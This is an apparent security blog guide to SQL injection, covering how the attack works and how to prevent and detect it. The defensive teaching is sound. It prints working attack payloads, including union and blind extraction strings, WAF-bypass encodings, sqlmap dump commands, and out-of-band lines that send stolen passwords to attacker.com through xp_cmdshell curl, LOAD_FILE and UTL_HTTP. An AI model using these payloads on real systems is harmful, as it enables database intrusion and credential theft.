security|March 25, 2026|15 min read

SQL Injection: The Complete Guide to Understanding, Preventing, and Detecting SQLi Attacks

TL;DR

SQL injection is a 20+ year old vulnerability that still causes 33% of web app breaches. The fix is simple: use parameterized queries (prepared statements) for every database interaction. Never concatenate user input into SQL strings. Layer defenses with input validation, least-privilege DB users, WAF, and proper error handling.

SQL Injection: The Complete Guide to Understanding, Preventing, and Detecting SQLi Attacks

SQL injection has been on the OWASP Top 10 since the list was created in 2003. It was the attack vector behind some of the largest data breaches in history — Sony Pictures (2011), Heartland Payment Systems (130 million credit cards), TalkTalk (157,000 customers), and countless others.

The ironic part? SQL injection is 100% preventable. The fix has been known for over two decades: parameterized queries. Yet it still accounts for roughly a third of all web application breaches. Why? Because developers keep concatenating strings.

This article will make SQL injection so clear that you’ll never write vulnerable code again.

How SQL Injection Works

At its core, SQL injection exploits a simple flaw: mixing code (SQL) with data (user input). When you build a SQL query by concatenating user input directly into the query string, an attacker can inject their own SQL commands.

Anatomy of a SQL injection attack showing vulnerable string concatenation vs safe parameterized query flow

Let’s walk through this step by step.

The Vulnerable Code

Here’s a typical login form handler that’s vulnerable:

// VULNERABLE - DO NOT USE
app.post('/login', async (req, res) => {
  const { username, password } = req.body;

  const query = `
    SELECT * FROM users
    WHERE username = '${username}'
    AND password = '${password}'
  `;

  const result = await db.query(query);

  if (result.rows.length > 0) {
    res.json({ success: true, user: result.rows[0] });
  } else {
    res.status(401).json({ error: 'Invalid credentials' });
  }
});

The Attack

An attacker enters this as the username:

admin' --

The resulting SQL becomes:

SELECT * FROM users
WHERE username = 'admin' --'
AND password = 'anything'

The -- is a SQL comment. Everything after it is ignored, including the password check. The attacker logs in as admin without knowing the password.

Even worse, if they enter:

' OR '1'='1' --

The query becomes:

SELECT * FROM users
WHERE username = '' OR '1'='1' --'
AND password = 'anything'

'1'='1' is always true, so this returns every user in the database.


Types of SQL Injection

SQL injection isn’t just one attack — it’s a family of techniques. Understanding each type helps you test for them and defend against them:

SQL injection taxonomy showing three main types: In-Band, Blind, and Out-of-Band with subtypes, injection points, and payloads

Type 1: In-Band SQL Injection (Classic)

The attacker gets results directly in the application’s response. This is the easiest to exploit.

Union-Based SQLi

The UNION operator lets attackers append additional SELECT queries and extract data from other tables:

-- Original query
SELECT name, price FROM products WHERE category = 'electronics'

-- Attacker input for category: ' UNION SELECT username, password FROM users --
-- Resulting query:
SELECT name, price FROM products WHERE category = ''
UNION SELECT username, password FROM users --'

The attacker now sees usernames and passwords in the product listing page.

Step-by-step union attack:

-- Step 1: Find number of columns (keep adding NULL until no error)
' ORDER BY 1 --    -- works
' ORDER BY 2 --    -- works
' ORDER BY 3 --    -- works
' ORDER BY 4 --    -- ERROR! Table has 3 columns

-- Step 2: Find which columns display on page
' UNION SELECT NULL, NULL, NULL --
' UNION SELECT 'test', NULL, NULL --  -- see where 'test' appears

-- Step 3: Extract data
' UNION SELECT username, password, email FROM users --

-- Step 4: Extract database metadata
' UNION SELECT table_name, NULL, NULL FROM information_schema.tables --
' UNION SELECT column_name, data_type, NULL FROM information_schema.columns
  WHERE table_name = 'users' --

Error-Based SQLi

Forces the database to throw errors that contain data. Works when error messages are displayed to the user:

-- MySQL: Extract data via error messages
' AND (SELECT 1 FROM (SELECT COUNT(*),
  CONCAT((SELECT username FROM users LIMIT 0,1),
  FLOOR(RAND(0)*2)) x FROM information_schema.tables
  GROUP BY x) a) --

-- PostgreSQL: Cast error reveals data
' AND 1=CAST((SELECT username FROM users LIMIT 1) AS INT) --
-- Error: invalid input syntax for integer: "admin"

-- SQL Server: Convert error reveals data
' AND 1=CONVERT(INT, (SELECT TOP 1 username FROM users)) --

Type 2: Blind SQL Injection

The application doesn’t show query results or errors, but the attacker can still extract data by asking yes/no questions.

Boolean-Based Blind

The page behaves differently based on whether the injected condition is true or false:

-- Is the first character of the admin password 'a'?
' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin') = 'a' --
-- If TRUE: normal page loads
-- If FALSE: page shows "no results" or different content

-- Automated extraction (what sqlmap does):
' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin') = 'a' --  -- false
' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin') = 'b' --  -- false
' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin') = 'c' --  -- false
...
' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin') = 's' --  -- TRUE!
-- First character is 's'. Now repeat for position 2, 3, 4...

Time-Based Blind

When the page looks identical regardless of true/false, use time delays:

-- MySQL: IF true, sleep 5 seconds
' OR IF(1=1, SLEEP(5), 0) --
-- Response takes 5 seconds = injectable

-- Extract data character by character
' OR IF((SELECT SUBSTRING(password,1,1) FROM users
  WHERE username='admin')='s', SLEEP(5), 0) --
-- 5 second delay = character is 's'

-- PostgreSQL equivalent
'; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END --

-- SQL Server
'; IF (1=1) WAITFOR DELAY '0:0:5' --

This is slow (one character at a time, 5 seconds per guess), but it works even when the application reveals zero information.

Type 3: Out-of-Band SQL Injection

When you can’t see results, errors, or timing differences, force the database to send data to an external server you control:

-- MySQL: DNS exfiltration (requires FILE privilege)
' UNION SELECT LOAD_FILE(
  CONCAT('\\\\', (SELECT password FROM users LIMIT 1), '.attacker.com\\a')
) --
-- Database makes DNS lookup: s3cr3tpassword.attacker.com

-- SQL Server: xp_cmdshell + HTTP request
'; EXEC xp_cmdshell('curl http://attacker.com/?data=' +
  (SELECT TOP 1 password FROM users)) --

-- Oracle: UTL_HTTP
' UNION SELECT UTL_HTTP.REQUEST(
  'http://attacker.com/?data=' || (SELECT password FROM users WHERE ROWNUM=1)
) FROM dual --

Second-Order SQL Injection

This is the sneaky variant. The malicious input isn’t executed immediately — it’s stored in the database and triggers later when used in a different query.

# Step 1: User registers with malicious username (stored safely via parameterized query)
username = "admin'--"
cursor.execute("INSERT INTO users (username, email) VALUES (%s, %s)",
               (username, email))
# Stored in DB as: admin'--

# Step 2: Later, a DIFFERENT piece of code uses that stored username unsafely
# Maybe a password reset function:
stored_username = get_username_from_session()  # Returns "admin'--" from DB

# VULNERABLE: trusts data from own database
cursor.execute(f"UPDATE users SET password = '{new_password}'
                 WHERE username = '{stored_username}'")

# Resulting SQL:
# UPDATE users SET password = 'newpass123' WHERE username = 'admin'--'
# This resets the REAL admin's password!

The lesson: Even data from your own database is untrusted if it originated from user input. Always use parameterized queries, even for “internal” data.


The Complete Defense Playbook

Here are the seven layers of defense. Layer 1 alone prevents 95%+ of SQL injection. The other layers provide defense in depth.

7 layers of SQL injection defense from parameterized queries to monitoring with language-specific examples and testing tools

Layer 1: Parameterized Queries (The Silver Bullet)

Parameterized queries (prepared statements) separate SQL structure from data. The database engine knows which parts are code and which parts are values. Injection becomes impossible.

Node.js (pg)

// SAFE: Parameterized query with pg
const getUser = async (email, orgId) => {
  const result = await pool.query(
    'SELECT id, name, email, role FROM users WHERE email = $1 AND org_id = $2',
    [email, orgId]
  );
  return result.rows[0];
};

// SAFE: Dynamic WHERE clauses done right
const searchUsers = async (filters) => {
  const conditions = [];
  const values = [];
  let paramIndex = 1;

  if (filters.name) {
    conditions.push(`name ILIKE $${paramIndex}`);
    values.push(`%${filters.name}%`);
    paramIndex++;
  }

  if (filters.role) {
    conditions.push(`role = $${paramIndex}`);
    values.push(filters.role);
    paramIndex++;
  }

  if (filters.active !== undefined) {
    conditions.push(`active = $${paramIndex}`);
    values.push(filters.active);
    paramIndex++;
  }

  const whereClause = conditions.length > 0
    ? 'WHERE ' + conditions.join(' AND ')
    : '';

  const result = await pool.query(
    `SELECT id, name, email, role FROM users ${whereClause} ORDER BY name LIMIT 50`,
    values
  );
  return result.rows;
};

Node.js (Prisma ORM)

// SAFE: Prisma is parameterized by default
const user = await prisma.user.findUnique({
  where: { email: userEmail },
  select: { id: true, name: true, email: true },  // Only return needed fields
});

// SAFE: Dynamic filters
const users = await prisma.user.findMany({
  where: {
    AND: [
      filters.name ? { name: { contains: filters.name, mode: 'insensitive' } } : {},
      filters.role ? { role: filters.role } : {},
      filters.active !== undefined ? { active: filters.active } : {},
    ],
  },
  take: 50,
  orderBy: { name: 'asc' },
});

// CAUTION: Raw queries - use tagged template (parameterized)
const users = await prisma.$queryRaw`
  SELECT id, name FROM users WHERE role = ${role} AND org_id = ${orgId}
`;

// NEVER use $queryRawUnsafe with user input!
// This exists for dynamic table names (from trusted config, never user input)

Python (psycopg2 / asyncpg)

# psycopg2 - SAFE: %s placeholders
cursor.execute(
    "SELECT id, name, email FROM users WHERE email = %s AND active = %s",
    (email, True)
)

# psycopg2 - SAFE: Named parameters
cursor.execute(
    "SELECT * FROM orders WHERE user_id = %(uid)s AND status = %(status)s",
    {"uid": user_id, "status": "completed"}
)

# asyncpg - SAFE: $N placeholders
row = await conn.fetchrow(
    "SELECT id, name, email FROM users WHERE email = $1",
    email
)

# SQLAlchemy - SAFE: text() with bound params
from sqlalchemy import text

result = session.execute(
    text("SELECT * FROM users WHERE email = :email AND role = :role"),
    {"email": email, "role": role}
)

Python (Django ORM)

# Django ORM - SAFE by default
user = User.objects.get(email=email)

# SAFE: Complex queries
users = User.objects.filter(
    name__icontains=search_term,
    role__in=['admin', 'editor'],
    is_active=True,
).order_by('name')[:50]

# SAFE: Raw queries with params
users = User.objects.raw(
    "SELECT * FROM auth_user WHERE email = %s AND is_active = %s",
    [email, True]
)

# DANGER: extra() and raw string annotations
# Avoid these Django methods or parameterize carefully:
User.objects.extra(where=["name = '%s'" % name])  # VULNERABLE!
User.objects.extra(where=["name = %s"], params=[name])  # SAFE

Java (JDBC / JPA)

// JDBC PreparedStatement - SAFE
String sql = "SELECT id, name, email FROM users WHERE email = ? AND role = ?";
try (PreparedStatement stmt = connection.prepareStatement(sql)) {
    stmt.setString(1, email);
    stmt.setString(2, role);
    ResultSet rs = stmt.executeQuery();
    // process results
}

// JPA / Hibernate - SAFE: Named parameters
@Query("SELECT u FROM User u WHERE u.email = :email AND u.active = :active")
List<User> findByEmailAndActive(
    @Param("email") String email,
    @Param("active") boolean active
);

// JPA Criteria API - SAFE: Type-safe queries
CriteriaBuilder cb = entityManager.getCriteriaBuilder();
CriteriaQuery<User> query = cb.createQuery(User.class);
Root<User> root = query.from(User.class);
query.where(
    cb.equal(root.get("email"), email),
    cb.equal(root.get("active"), true)
);

Go

// database/sql - SAFE: Parameterized
row := db.QueryRowContext(ctx,
    "SELECT id, name, email FROM users WHERE email = $1 AND role = $2",
    email, role,
)

// SAFE: Dynamic query building
func searchUsers(ctx context.Context, db *sql.DB, filters UserFilters) ([]User, error) {
    query := "SELECT id, name, email FROM users WHERE 1=1"
    args := []interface{}{}
    paramIdx := 1

    if filters.Name != "" {
        query += fmt.Sprintf(" AND name ILIKE $%d", paramIdx)
        args = append(args, "%"+filters.Name+"%")
        paramIdx++
    }

    if filters.Role != "" {
        query += fmt.Sprintf(" AND role = $%d", paramIdx)
        args = append(args, filters.Role)
        paramIdx++
    }

    query += " ORDER BY name LIMIT 50"
    rows, err := db.QueryContext(ctx, query, args...)
    // ... process rows
}

PHP (PDO)

// PDO Prepared Statement - SAFE
$stmt = $pdo->prepare(
    'SELECT id, name, email FROM users WHERE email = :email AND role = :role'
);
$stmt->execute([
    ':email' => $email,
    ':role' => $role,
]);
$user = $stmt->fetch(PDO::FETCH_ASSOC);

// IMPORTANT: Set PDO to throw exceptions on error (don't silently fail)
$pdo = new PDO($dsn, $user, $pass, [
    PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
    PDO::ATTR_EMULATE_PREPARES => false,  // Use real prepared statements!
    PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
]);

Layer 2: Input Validation

Parameterized queries are your primary defense, but input validation adds a second layer:

import { z } from 'zod';

// Define strict schemas for all inputs
const SearchSchema = z.object({
  query: z.string().min(1).max(200).trim(),
  category: z.enum(['electronics', 'books', 'clothing', 'food']),
  minPrice: z.coerce.number().min(0).max(100000).optional(),
  maxPrice: z.coerce.number().min(0).max(100000).optional(),
  sortBy: z.enum(['name', 'price', 'date']).default('name'),
  sortOrder: z.enum(['asc', 'desc']).default('asc'),
  page: z.coerce.number().int().min(1).max(1000).default(1),
});

app.get('/search', async (req, res) => {
  // Validate ALL input before it goes anywhere near SQL
  const result = SearchSchema.safeParse(req.query);
  if (!result.success) {
    return res.status(400).json({
      error: 'Invalid search parameters',
      details: result.error.flatten(),
    });
  }

  const { query, category, minPrice, maxPrice, sortBy, sortOrder, page } = result.data;

  // Now safe to use in parameterized query
  // sortBy and sortOrder are from enum (allowlist), safe for ORDER BY
  const sql = `
    SELECT id, name, price, category
    FROM products
    WHERE name ILIKE $1 AND category = $2
    ${minPrice !== undefined ? 'AND price >= $3' : ''}
    ${maxPrice !== undefined ? `AND price <= $${minPrice !== undefined ? 4 : 3}` : ''}
    ORDER BY ${sortBy} ${sortOrder}
    LIMIT 20 OFFSET $${Object.values({ minPrice, maxPrice }).filter(v => v !== undefined).length + 3}
  `;
  // ... execute with params
});

Key principle for ORDER BY and table names: These can’t be parameterized in most databases. Use an allowlist (enum):

# SAFE: Allowlist for column names (can't be parameterized)
ALLOWED_SORT_COLUMNS = {'name', 'price', 'created_at', 'rating'}
ALLOWED_SORT_ORDERS = {'asc', 'desc'}

def build_order_clause(sort_by: str, sort_order: str) -> str:
    if sort_by not in ALLOWED_SORT_COLUMNS:
        sort_by = 'name'  # default
    if sort_order not in ALLOWED_SORT_ORDERS:
        sort_order = 'asc'
    return f"ORDER BY {sort_by} {sort_order}"  # Safe: values from allowlist

Layer 3: Stored Procedures

Stored procedures add a database-level defense layer:

-- PostgreSQL: Stored procedure with typed parameters
CREATE OR REPLACE FUNCTION get_user_by_email(
    p_email VARCHAR(255)
) RETURNS TABLE(id INT, name VARCHAR, email VARCHAR, role VARCHAR) AS $$
BEGIN
    RETURN QUERY
    SELECT u.id, u.name, u.email, u.role
    FROM users u
    WHERE u.email = p_email AND u.active = true;
END;
$$ LANGUAGE plpgsql SECURITY DEFINER;

-- Usage (still parameterize the call!)
SELECT * FROM get_user_by_email($1);

Layer 4: Least Privilege Database Users

Never connect to your database as root/admin from your application:

-- Create a read-only user for the web application
CREATE ROLE webapp_readonly LOGIN PASSWORD 'strong_random_password';
GRANT CONNECT ON DATABASE myapp TO webapp_readonly;
GRANT USAGE ON SCHEMA public TO webapp_readonly;
GRANT SELECT ON ALL TABLES IN SCHEMA public TO webapp_readonly;

-- Create a limited write user for mutations
CREATE ROLE webapp_write LOGIN PASSWORD 'another_strong_password';
GRANT CONNECT ON DATABASE myapp TO webapp_write;
GRANT USAGE ON SCHEMA public TO webapp_write;
GRANT SELECT, INSERT, UPDATE ON users, orders, products TO webapp_write;
-- Note: NO DELETE, NO DROP, NO ALTER, NO TRUNCATE

-- NEVER grant these to application users:
-- GRANT ALL PRIVILEGES ...
-- GRANT SUPERUSER ...
-- GRANT CREATE, DROP ...
// Use separate connection pools for reads vs writes
const readPool = new Pool({
  user: 'webapp_readonly',
  database: 'myapp',
  // ...
});

const writePool = new Pool({
  user: 'webapp_write',
  database: 'myapp',
  // ...
});

// Read operations use read-only pool
const getUser = (id) => readPool.query('SELECT * FROM users WHERE id = $1', [id]);

// Write operations use write pool
const updateUser = (id, name) => writePool.query(
  'UPDATE users SET name = $1 WHERE id = $2', [name, id]
);

Layer 5: Web Application Firewall (WAF)

A WAF catches common injection patterns at the network level — before they reach your code:

# Nginx: Basic SQL injection blocking (supplement, not replacement)
location / {
    # Block common SQL injection patterns in query strings
    if ($query_string ~* "(union|select|insert|update|delete|drop|alter|create|exec|execute|xp_|sp_|0x)" ) {
        return 403;
    }

    # Block common SQL injection in request body
    if ($request_body ~* "(union|select|insert|update|delete|drop|alter)" ) {
        return 403;
    }

    proxy_pass http://backend;
}

Better: Use a managed WAF like Cloudflare, AWS WAF, or Azure Front Door. They have regularly updated rule sets for SQL injection:

# AWS WAF rule example (CloudFormation)
SQLInjectionProtection:
  Type: AWS::WAFv2::WebACL
  Properties:
    Rules:
      - Name: SQLInjectionRule
        Priority: 1
        Statement:
          SqliMatchStatement:
            FieldToMatch:
              Body: {}
            TextTransformations:
              - Priority: 0
                Type: URL_DECODE
              - Priority: 1
                Type: HTML_ENTITY_DECODE
        Action:
          Block: {}

Warning: WAFs can be bypassed. They’re a supplementary defense, never a primary one.

Layer 6: Error Handling

Never expose database errors to users — they reveal schema information:

// BAD: Exposing database errors
app.get('/user/:id', async (req, res) => {
  try {
    const user = await db.query('SELECT * FROM users WHERE id = $1', [req.params.id]);
    res.json(user.rows[0]);
  } catch (error) {
    res.status(500).json({ error: error.message });
    // Attacker sees: "column 'passwordd' does not exist"
    // Now they know the column is probably called 'password'
  }
});

// GOOD: Generic errors externally, detailed logs internally
app.get('/user/:id', async (req, res) => {
  try {
    const user = await db.query('SELECT * FROM users WHERE id = $1', [req.params.id]);
    if (!user.rows[0]) {
      return res.status(404).json({ error: 'User not found' });
    }
    res.json(user.rows[0]);
  } catch (error) {
    // Log detailed error internally
    logger.error('Database query failed', {
      error: error.message,
      stack: error.stack,
      query: 'get_user_by_id',
      userId: req.params.id,
    });

    // Return generic error to client
    res.status(500).json({ error: 'An internal error occurred' });
  }
});

Configure your database to not send detailed errors:

-- PostgreSQL: Don't expose query details in errors
ALTER SYSTEM SET log_min_error_statement = 'error';
-- Ensure client_min_messages doesn't leak info
ALTER SYSTEM SET client_min_messages = 'notice';

Layer 7: Monitoring and Detection

Detect SQL injection attempts in real-time:

# Middleware to detect and log SQL injection attempts
import re
import logging

SQLI_PATTERNS = [
    r"('\s*(OR|AND)\s*'?\d+\s*=\s*\d+)",
    r"(UNION\s+(ALL\s+)?SELECT)",
    r"(;\s*(DROP|ALTER|DELETE|UPDATE|INSERT))",
    r"(SLEEP\s*\(\d+\))",
    r"(WAITFOR\s+DELAY)",
    r"(BENCHMARK\s*\()",
    r"(--\s*$)",
    r"(#\s*$)",
    r"(/\*.*?\*/)",
    r"(xp_cmdshell)",
    r"(LOAD_FILE\s*\()",
    r"(INTO\s+(OUT|DUMP)FILE)",
]

compiled_patterns = [re.compile(p, re.IGNORECASE) for p in SQLI_PATTERNS]

def detect_sqli(input_string: str) -> list[str]:
    """Detect potential SQL injection patterns in input."""
    findings = []
    for pattern in compiled_patterns:
        match = pattern.search(input_string)
        if match:
            findings.append(match.group())
    return findings

# Express middleware equivalent
def sqli_detection_middleware(request):
    """Check all request parameters for SQL injection patterns."""
    all_inputs = []
    all_inputs.extend(request.args.values())      # Query params
    all_inputs.extend(request.form.values())       # Form data
    all_inputs.extend(request.headers.values())    # Headers

    for input_val in all_inputs:
        findings = detect_sqli(str(input_val))
        if findings:
            logging.warning(
                "SQL injection attempt detected",
                extra={
                    "ip": request.remote_addr,
                    "path": request.path,
                    "patterns": findings,
                    "input": input_val[:200],  # Truncate for logging
                }
            )
            # Option: block the request
            # Option: rate-limit the IP
            # Option: alert security team

Testing for SQL Injection

Manual Testing Cheatsheet

Basic tests (try in every input field):
  '                          -- Single quote (causes error if vulnerable)
  ''                         -- Double quote escape test
  ' OR '1'='1               -- Boolean always-true
  ' OR '1'='1' --           -- With comment
  ' OR '1'='1' /*           -- C-style comment
  1 OR 1=1                  -- Numeric injection
  1' ORDER BY 1 --          -- Column count discovery
  1' UNION SELECT NULL --   -- Union test

String terminators by database:
  MySQL:      ' -- -  or  ' #
  PostgreSQL: ' --
  SQL Server: ' --
  Oracle:     ' --

Bypass techniques:
  URL encoding:     %27%20OR%20%271%27%3D%271
  Double encoding:  %2527
  Case variation:   uNiOn SeLeCt
  Comments:         UN/**/ION SEL/**/ECT
  Whitespace:       UNION%0aSELECT

Automated Testing with sqlmap

# Basic test against a URL parameter
sqlmap -u "http://target.com/page?id=1" --batch

# Test POST parameters
sqlmap -u "http://target.com/login" \
  --data="username=admin&password=test" \
  --method POST \
  --batch

# Test with authentication cookie
sqlmap -u "http://target.com/profile?id=1" \
  --cookie="session=abc123" \
  --batch

# Enumerate databases
sqlmap -u "http://target.com/page?id=1" --dbs --batch

# Dump a specific table
sqlmap -u "http://target.com/page?id=1" \
  -D mydb -T users --dump --batch

# Test all parameters including headers
sqlmap -u "http://target.com/page?id=1" \
  --level=5 --risk=3 --batch

CI/CD Integration: Catch SQLi Before Production

# Semgrep rules for SQL injection detection
rules:
  - id: python-sql-injection
    patterns:
      - pattern-either:
          - pattern: |
              cursor.execute(f"...", ...)
          - pattern: |
              cursor.execute("..." + $VAR, ...)
          - pattern: |
              cursor.execute("..." % $VAR, ...)
          - pattern: |
              cursor.execute("...".format(...), ...)
    message: |
      SQL query built with string formatting. Use parameterized queries:
      cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))
    severity: ERROR
    languages: [python]

  - id: node-sql-injection
    patterns:
      - pattern-either:
          - pattern: |
              $DB.query(`...${...}...`)
          - pattern: |
              $DB.query("..." + $VAR)
    message: |
      SQL query built with string concatenation. Use parameterized queries:
      db.query('SELECT * FROM users WHERE id = $1', [userId])
    severity: ERROR
    languages: [javascript, typescript]

  - id: java-sql-injection
    patterns:
      - pattern: |
          $STMT = $CONN.createStatement();
          $STMT.execute("..." + $VAR);
    message: |
      Use PreparedStatement with parameterized queries instead of Statement.
    severity: ERROR
    languages: [java]

Real-World SQL Injection: Case Studies

Case 1: Authentication Bypass

-- The vulnerable query
SELECT * FROM admins WHERE username = '{input}' AND password = MD5('{input}')

-- Attacker enters username: admin' --
-- Result:
SELECT * FROM admins WHERE username = 'admin' --' AND password = MD5('anything')
-- Password check bypassed entirely

Fix: Parameterized query + bcrypt/argon2 password hashing (not MD5).

Case 2: Data Exfiltration via UNION

-- Application shows product search results
SELECT name, description, price FROM products WHERE name LIKE '%{search}%'

-- Attacker searches for: %' UNION SELECT username, password, email FROM users --
-- Result shows user credentials mixed in with product listings

Fix: Parameterized LIKE queries:

// SAFE: Parameterized LIKE
const results = await pool.query(
  "SELECT name, description, price FROM products WHERE name ILIKE $1 LIMIT 50",
  [`%${searchTerm}%`]
);

Case 3: Privilege Escalation via UPDATE Injection

-- Vulnerable profile update
UPDATE users SET bio = '{bio}' WHERE id = {userId}

-- Attacker sets bio to: ', role = 'admin' WHERE id = 42 --
-- Result:
UPDATE users SET bio = '', role = 'admin' WHERE id = 42 --' WHERE id = {userId}
-- Attacker is now admin

Fix: Parameterize and only allow updating specific columns:

// SAFE: Parameterized + explicit columns
await pool.query(
  'UPDATE users SET bio = $1 WHERE id = $2',
  [bio, userId]  // role column is never in the query
);

Quick Reference: Do This, Not That

Scenario Vulnerable Safe
Simple query "SELECT * FROM users WHERE id = " + id "SELECT * FROM users WHERE id = $1", [id]
LIKE search "WHERE name LIKE '%" + term + "%'" "WHERE name LIKE $1", ['%' + term + '%']
IN clause "WHERE id IN (" + ids.join(',') + ")" "WHERE id = ANY($1)", [ids] (PostgreSQL)
ORDER BY "ORDER BY " + userInput "ORDER BY " + allowlist[userInput]
INSERT "INSERT ... VALUES ('" + name + "')" "INSERT ... VALUES ($1)", [name]
Table name "SELECT * FROM " + tableName allowlist.includes(tableName) ? tableName : 'default'

Conclusion

SQL injection is embarrassingly simple to prevent:

  1. Use parameterized queries. Every time. No exceptions.
  2. Use an ORM — they parameterize by default.
  3. Validate all input with a schema validator (Zod, Pydantic).
  4. Allowlist anything that can’t be parameterized (column names, table names, sort order).
  5. Apply least privilege — your app’s DB user should only have the permissions it needs.
  6. Never expose database errors to end users.
  7. Monitor and log suspicious patterns.

If every developer followed rule #1 alone, SQL injection would be extinct. It’s 2026 — let’s make it happen.


If you found this guide useful, share it with your team. One vulnerable query is all it takes.

Related Posts

Software Security in the AI Era: How to Write Secure Code When AI Writes Code Too

Software Security in the AI Era: How to Write Secure Code When AI Writes Code Too

In 2025, 72% of professional developers used AI-assisted coding tools daily. By…

Cyberark Rest API Certificate based Authentication - Curl Command to Fetch Credentials

Cyberark Rest API Certificate based Authentication - Curl Command to Fetch Credentials

Introduction Cyberark kind of tools are a must for security in your…

Understanding Zero-day Exploit of Log4j Security Vulnerability and Solution (CVE-2021-44228, CVE-2021-45046)

Understanding Zero-day Exploit of Log4j Security Vulnerability and Solution (CVE-2021-44228, CVE-2021-45046)

Introduction On 9th December 2021, an industry-wide vulnerability was discovered…

Dockerfile for building Python 3.9.2 and Openssl for FIPS

Dockerfile for building Python 3.9.2 and Openssl for FIPS

Introduction In previous posts, we saw how to build FIPS enabled Openssl, and…

How to Patch and Build Python 3.9.x for FIPS enabled Openssl

How to Patch and Build Python 3.9.x for FIPS enabled Openssl

Introduction In this post, we will see Python 3.9.x patch for FIPS enabled…

How to Patch and Build Python 3.7.9 for FIPS enabled Openssl

How to Patch and Build Python 3.7.9 for FIPS enabled Openssl

Introduction In this post, we will see Python 3.7.9 patch for FIPS enabled…

Latest Posts

Software Security in the AI Era: How to Write Secure Code When AI Writes Code Too

Software Security in the AI Era: How to Write Secure Code When AI Writes Code Too

In 2025, 72% of professional developers used AI-assisted coding tools daily. By…

How to Be a Full-Time Freelancer: Resources, Finding Clients, and Building a Sustainable Business

How to Be a Full-Time Freelancer: Resources, Finding Clients, and Building a Sustainable Business

Making the leap from full-time employment to freelancing is one of the most…

Deep Dive on Elasticsearch: A System Design Interview Perspective

Deep Dive on Elasticsearch: A System Design Interview Perspective

“If you’re searching, filtering, or aggregating over large volumes of semi…

Deep Dive on Apache Kafka: A System Design Interview Perspective

Deep Dive on Apache Kafka: A System Design Interview Perspective

“Kafka is not a message queue. It’s a distributed commit log that happens to be…

Deep Dive on Redis: Architecture, Data Structures, and Production Usage

Deep Dive on Redis: Architecture, Data Structures, and Production Usage

“Redis is not just a cache. It’s a data structure server that happens to be…

Deep Dive on API Gateway: A System Design Interview Perspective

Deep Dive on API Gateway: A System Design Interview Perspective

“An API Gateway is the front door to your microservices. Every request walks…